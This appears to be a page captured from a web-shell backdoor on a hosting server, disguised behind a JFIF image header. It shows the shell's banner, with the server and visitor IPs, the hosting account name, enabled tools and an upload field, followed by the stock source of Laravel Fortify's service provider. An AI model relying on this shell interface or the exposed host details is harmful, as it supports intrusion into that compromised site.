����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.191.171.178 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/cbt.gltechlimited.com/vendor/laravel/fortify/src/ |
Upload File : |
<?php namespace Laravel\Fortify; use Illuminate\Contracts\Auth\StatefulGuard; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Route; use Illuminate\Support\ServiceProvider; use Laravel\Fortify\Contracts\FailedPasswordConfirmationResponse as FailedPasswordConfirmationResponseContract; use Laravel\Fortify\Contracts\FailedPasswordResetLinkRequestResponse as FailedPasswordResetLinkRequestResponseContract; use Laravel\Fortify\Contracts\FailedPasswordResetResponse as FailedPasswordResetResponseContract; use Laravel\Fortify\Contracts\FailedTwoFactorLoginResponse as FailedTwoFactorLoginResponseContract; use Laravel\Fortify\Contracts\LockoutResponse as LockoutResponseContract; use Laravel\Fortify\Contracts\LoginResponse as LoginResponseContract; use Laravel\Fortify\Contracts\LogoutResponse as LogoutResponseContract; use Laravel\Fortify\Contracts\PasswordConfirmedResponse as PasswordConfirmedResponseContract; use Laravel\Fortify\Contracts\PasswordResetResponse as PasswordResetResponseContract; use Laravel\Fortify\Contracts\RegisterResponse as RegisterResponseContract; use Laravel\Fortify\Contracts\SuccessfulPasswordResetLinkRequestResponse as SuccessfulPasswordResetLinkRequestResponseContract; use Laravel\Fortify\Contracts\TwoFactorAuthenticationProvider as TwoFactorAuthenticationProviderContract; use Laravel\Fortify\Contracts\TwoFactorLoginResponse as TwoFactorLoginResponseContract; use Laravel\Fortify\Http\Responses\FailedPasswordConfirmationResponse; use Laravel\Fortify\Http\Responses\FailedPasswordResetLinkRequestResponse; use Laravel\Fortify\Http\Responses\FailedPasswordResetResponse; use Laravel\Fortify\Http\Responses\FailedTwoFactorLoginResponse; use Laravel\Fortify\Http\Responses\LockoutResponse; use Laravel\Fortify\Http\Responses\LoginResponse; use Laravel\Fortify\Http\Responses\LogoutResponse; use Laravel\Fortify\Http\Responses\PasswordConfirmedResponse; use Laravel\Fortify\Http\Responses\PasswordResetResponse; use Laravel\Fortify\Http\Responses\RegisterResponse; use Laravel\Fortify\Http\Responses\SuccessfulPasswordResetLinkRequestResponse; use Laravel\Fortify\Http\Responses\TwoFactorLoginResponse; class FortifyServiceProvider extends ServiceProvider { /** * Register any application services. * * @return void */ public function register() { $this->mergeConfigFrom(__DIR__.'/../config/fortify.php', 'fortify'); $this->registerResponseBindings(); $this->app->singleton( TwoFactorAuthenticationProviderContract::class, TwoFactorAuthenticationProvider::class ); $this->app->bind(StatefulGuard::class, function () { return Auth::guard(config('fortify.guard', null)); }); } /** * Register the response bindings. * * @return void */ protected function registerResponseBindings() { $this->app->singleton(FailedPasswordConfirmationResponseContract::class, FailedPasswordConfirmationResponse::class); $this->app->singleton(FailedPasswordResetLinkRequestResponseContract::class, FailedPasswordResetLinkRequestResponse::class); $this->app->singleton(FailedPasswordResetResponseContract::class, FailedPasswordResetResponse::class); $this->app->singleton(FailedTwoFactorLoginResponseContract::class, FailedTwoFactorLoginResponse::class); $this->app->singleton(LockoutResponseContract::class, LockoutResponse::class); $this->app->singleton(LoginResponseContract::class, LoginResponse::class); $this->app->singleton(TwoFactorLoginResponseContract::class, TwoFactorLoginResponse::class); $this->app->singleton(LogoutResponseContract::class, LogoutResponse::class); $this->app->singleton(PasswordConfirmedResponseContract::class, PasswordConfirmedResponse::class); $this->app->singleton(PasswordResetResponseContract::class, PasswordResetResponse::class); $this->app->singleton(RegisterResponseContract::class, RegisterResponse::class); $this->app->singleton(SuccessfulPasswordResetLinkRequestResponseContract::class, SuccessfulPasswordResetLinkRequestResponse::class); } /** * Bootstrap any application services. * * @return void */ public function boot() { $this->configurePublishing(); $this->configureRoutes(); } /** * Configure the publishable resources offered by the package. * * @return void */ protected function configurePublishing() { if ($this->app->runningInConsole()) { $this->publishes([ __DIR__.'/../stubs/fortify.php' => config_path('fortify.php'), ], 'fortify-config'); $this->publishes([ __DIR__.'/../stubs/CreateNewUser.php' => app_path('Actions/Fortify/CreateNewUser.php'), __DIR__.'/../stubs/FortifyServiceProvider.php' => app_path('Providers/FortifyServiceProvider.php'), __DIR__.'/../stubs/PasswordValidationRules.php' => app_path('Actions/Fortify/PasswordValidationRules.php'), __DIR__.'/../stubs/ResetUserPassword.php' => app_path('Actions/Fortify/ResetUserPassword.php'), __DIR__.'/../stubs/UpdateUserProfileInformation.php' => app_path('Actions/Fortify/UpdateUserProfileInformation.php'), __DIR__.'/../stubs/UpdateUserPassword.php' => app_path('Actions/Fortify/UpdateUserPassword.php'), ], 'fortify-support'); $this->publishes([ __DIR__.'/../database/migrations' => database_path('migrations'), ], 'fortify-migrations'); } } /** * Configure the routes offered by the application. * * @return void */ protected function configureRoutes() { if (Fortify::$registersRoutes) { Route::group([ 'namespace' => 'Laravel\Fortify\Http\Controllers', 'domain' => config('fortify.domain', null), 'prefix' => config('fortify.prefix'), ], function () { $this->loadRoutesFrom(__DIR__.'/../routes/routes.php'); }); } } }